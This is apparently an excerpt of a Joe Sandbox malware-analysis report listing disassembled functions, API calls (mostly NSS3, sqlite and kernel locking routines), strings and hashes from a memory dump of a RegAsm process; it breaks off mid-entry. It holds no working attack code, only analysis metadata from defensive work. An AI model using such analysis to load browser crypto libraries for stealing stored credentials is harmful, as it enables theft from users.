TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C399013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C399042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C39905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C399073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C3990EC

Part of subcall function 6C360F00: PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B
Part of subcall function 6C360F00: PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C399111

Strings

nHl, xrefs: 6C3990A3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nHl
API String ID: 2831689957-3716891766
Opcode ID: ac7c214cb9c88b6b7aceee9665eec219615dc01a16a17fc390dd5ba422209fcf
Instruction ID: d0e234dfa44759a5675d1012c4f271e2cac9002bf5a737c59784f02cf7b3f1b1
Opcode Fuzzy Hash: ac7c214cb9c88b6b7aceee9665eec219615dc01a16a17fc390dd5ba422209fcf
Instruction Fuzzy Hash: 83517A74A047158FDB00EF39C488699BBF4BF4A318F055569DC499BB15EB31E884CF92

Function 6C37E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C37E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C37E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C37E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C37E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C37E9CA
PORT_Strdup_Util.NSS3(6C4B933E), ref: 6C37EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C37EA28

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C37EA3C
free.MOZGLUE(?), ref: 6C37EA69

Strings

http://, xrefs: 6C37E935

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 36b431b1300ec50a0f05fd84a817345fd0f0c44b18805bf9f78d2879a99bc3f4
Instruction ID: 647372240d0a01d192769823f12f28de08d2fedf1f08169a1bb2948658fb162c
Opcode Fuzzy Hash: 36b431b1300ec50a0f05fd84a817345fd0f0c44b18805bf9f78d2879a99bc3f4
Instruction Fuzzy Hash: FC415B77D487468FEFB08A688C80BEA7769AB4731CF140021D89497B41E21F9546CEFE

Function 6C394E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C394E90
EnterCriticalSection.KERNEL32 ref: 6C394EA9
TlsGetValue.KERNEL32 ref: 6C394EC6
EnterCriticalSection.KERNEL32 ref: 6C394EDF
PL_HashTableLookup.NSS3 ref: 6C394EF8
PR_Unlock.NSS3 ref: 6C394F05
PR_Now.NSS3 ref: 6C394F13
PR_Unlock.NSS3 ref: 6C394F3A

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

Strings

bU9l, xrefs: 6C394E5C
bU9l, xrefs: 6C394F3F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU9l$bU9l
API String ID: 326028414-1309578576
Opcode ID: d52d0e63015cc0e06c33438d801b3ec61255a9b5ac5db01fed45da34c425d764
Instruction ID: 27ae6da53543ec4866a0bcb2de7a67c9102d8109d5cfc691885f86761d771d5d
Opcode Fuzzy Hash: d52d0e63015cc0e06c33438d801b3ec61255a9b5ac5db01fed45da34c425d764
Instruction Fuzzy Hash: 92414AB4A046058FCB00EF79D0848AABBF4FF49354B018569EC9A9B715EB30E855CFD1

Function 6C3A6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C3A6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A6CA3

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C3A6CD5

Strings

nHl, xrefs: 6C3A6CF4, 6C3A6D1F
(CK_INVALID_HANDLE), xrefs: 6C3A6C9C
C_DigestInit, xrefs: 6C3A6C61
pMechanism = 0x%p, xrefs: 6C3A6CD0
hSession = 0x%x, xrefs: 6C3A6C7E, 6C3A6C8E

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nHl
API String ID: 1003633598-1133033208
Opcode ID: ff1ab6dbe6288c00242bc0f3cda8ab91a33322c58b27ed12f2ccf5f01c969435
Instruction ID: 010c5d6e3be765de011f1f7c309816e9935e0edf288849e2b5e6fa789fc590ae
Opcode Fuzzy Hash: ff1ab6dbe6288c00242bc0f3cda8ab91a33322c58b27ed12f2ccf5f01c969435
Instruction Fuzzy Hash: F821E330601154ABDB10FB999D8DF9E77B5EB4631CF448029E80997A12DF34AC19CB92

Function 6C3BECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C3BDE64), ref: 6C3BED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3BED22

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

PL_FreeArenaPool.NSS3(?), ref: 6C3BED4A
PL_FinishArenaPool.NSS3(?), ref: 6C3BED6B
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C3BED38

Part of subcall function 6C2F4C70: TlsGetValue.KERNEL32(?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4C97
Part of subcall function 6C2F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CB0
Part of subcall function 6C2F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C3BED52
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C3BED83
PL_FreeArenaPool.NSS3(?), ref: 6C3BED95
PL_FinishArenaPool.NSS3(?), ref: 6C3BED9D

Part of subcall function 6C3D64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C3D127C,00000000,00000000,00000000), ref: 6C3D650E

Strings

security, xrefs: 6C3BED06

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 8788f56d508a0f4fa1de9e822ae841d77452a2d03678ff340c55f6346f6461c3
Instruction ID: caa3ab0f7a47c1aed51e0e73753db181a0e936a3ef5fc757753e5f1f24dc20a9
Opcode Fuzzy Hash: 8788f56d508a0f4fa1de9e822ae841d77452a2d03678ff340c55f6346f6461c3
Instruction Fuzzy Hash: 531135769003186BE610A669AC40FBB7278AF1160CF02096CEC6572E40EB75B9089EE7

Function 6C480EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C362357), ref: 6C480EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C362357), ref: 6C480EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C480EE6

Part of subcall function 6C4809D0: PR_Now.NSS3 ref: 6C480A22
Part of subcall function 6C4809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C480A35
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C480A66
Part of subcall function 6C4809D0: PR_GetCurrentThread.NSS3 ref: 6C480A70
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C480A9D
Part of subcall function 6C4809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C480AC8
Part of subcall function 6C4809D0: PR_vsmprintf.NSS3(?,?), ref: 6C480AE8
Part of subcall function 6C4809D0: EnterCriticalSection.KERNEL32(?), ref: 6C480B19
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C480B48
Part of subcall function 6C4809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C480C76
Part of subcall function 6C4809D0: PR_LogFlush.NSS3 ref: 6C480C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C480EFA

Part of subcall function 6C36AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C36AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F2B

Strings

Aborting, xrefs: 6C480EB3
Assertion failure: %s, at %s:%d, xrefs: 6C480ED9, 6C480EE5, 6C480F06, 6C480F0B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 0ad3fdbb9d578fceae7700bca08f477a50632c39d32af9da6d1043c029c21892
Instruction ID: d9d92984b1e6e188ee91bd09272316c0cf26bd3e98f45e8c254adddf49ac2c0c
Opcode Fuzzy Hash: 0ad3fdbb9d578fceae7700bca08f477a50632c39d32af9da6d1043c029c21892
Instruction Fuzzy Hash: 3CF0C2B99011147BEF00BBA0DC4AC9B3E3DEF82364F004024FD0956A12EA36EA5596F3

Function 6C3E4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C3E4DCB

Part of subcall function 6C3D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
Part of subcall function 6C3D0FF0: PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016
Part of subcall function 6C3D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C3E4DE1

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C3E4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3E4E59

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C4A300C,00000000), ref: 6C3E4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C3E4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C3E4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C3E521A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0c2f21bbd005d3e37b04a035112453153204537d5c6f3049ce7ad6115abde5c3
Instruction ID: d29d984178aa9832c704f7337f1b588a1159549c085998791b10e9328c26c59a
Opcode Fuzzy Hash: 0c2f21bbd005d3e37b04a035112453153204537d5c6f3049ce7ad6115abde5c3
Instruction Fuzzy Hash: 19F18D71E00219CBDB04CF94D8407ADB7B2BF88358F25416AE915AB781E736ED82CF91

Function 6C374FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C4C0148,?,6C386FEC), ref: 6C37502A
PR_NewLock.NSS3(00000001,00000000,6C4C0148,?,6C386FEC), ref: 6C375034
PL_NewHashTable.NSS3(00000000,6C3CFE80,6C3CFD30,6C41C350,00000000,00000000,00000001,00000000,6C4C0148,?,6C386FEC), ref: 6C375055
PL_NewHashTable.NSS3(00000000,6C3CFE80,6C3CFD30,6C41C350,00000000,00000000,?,00000001,00000000,6C4C0148,?,6C386FEC), ref: 6C37506D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 618faf63bada20fc118b914fd0937642c4308e7024f0e4f65b19c028b0c63732
Instruction ID: 3d4a856051ed8578dba4dfea8b2725831800096ae3b1835b6bca9fb2cc2ae838
Opcode Fuzzy Hash: 618faf63bada20fc118b914fd0937642c4308e7024f0e4f65b19c028b0c63732
Instruction Fuzzy Hash: 6B31B3B1B012309BEF34FA65894CB9F36B8AB17709F058125EA0587640DB7AAD04CFF5

Function 6C312E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C312F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C312FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C313005
memcpy.VCRUNTIME140(?,?,?), ref: 6C3130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C313131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C313178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C313022, 6C313156, 6C313162, 6C31318A, 6C313196, 6C3131A2, 6C3131AE, 6C3131BA, 6C3131C6
%s at line %d of [%.10s], xrefs: 6C313171
database corruption, xrefs: 6C31316C

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: bb44a17b48b2aa6ae59370fff5fc2d480e0a68397a1fc9b11a1fb37e3990e4c6
Instruction ID: dd451980588568aec2b297a5e7c0a942585022b4575b2e7f2075f93726d9b7e5
Opcode Fuzzy Hash: bb44a17b48b2aa6ae59370fff5fc2d480e0a68397a1fc9b11a1fb37e3990e4c6
Instruction Fuzzy Hash: 6EB19EB0E492199FCB08CF9DC884AEEB7B1BF49314F144429E845B7B41D775A941CFA0

Function 6C362D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C362D69

Strings

winUnmapfile2, xrefs: 6C362F7F
PHl, xrefs: 6C362E74, 6C362EC5, 6C362F32, 6C362F5C
Hl, xrefs: 6C362DD0
winSeekFile, xrefs: 6C362E9C
@Hl, xrefs: 6C362E24
winTruncate2, xrefs: 6C362EF8
winUnmapfile1, xrefs: 6C362F55
winTruncate1, xrefs: 6C362EBE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @Hl$PHl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$Hl
API String ID: 2933888876-2588846727
Opcode ID: 7e49a1cb1372f4a0f31313334df425c6af40b32bb0b378a41b573d4e7d0d6365
Instruction ID: a148c0437d2be28d8fbab8229022af634b3a894d48bcfcdbd6d848200c23a343
Opcode Fuzzy Hash: 7e49a1cb1372f4a0f31313334df425c6af40b32bb0b378a41b573d4e7d0d6365
Instruction Fuzzy Hash: CA61A071B002059FDB04DF65D988AAA77B5FB49358F10812CE915ABB90DB32A906CF91

Function 6C3669A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C2FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C35F9C9,?,6C35F4DA,6C35F9C9,?,?,6C32369A), ref: 6C2FCA7A
Part of subcall function 6C2FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C2FCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C366A02
EnterCriticalSection.KERNEL32(?), ref: 6C366AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C366AF9
sqlite3_free.NSS3(00000000), ref: 6C366B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C366BA6

Strings

`Hl, xrefs: 6C366A53
winDelete, xrefs: 6C366B71
PHl, xrefs: 6C366B1F
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C366B9F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

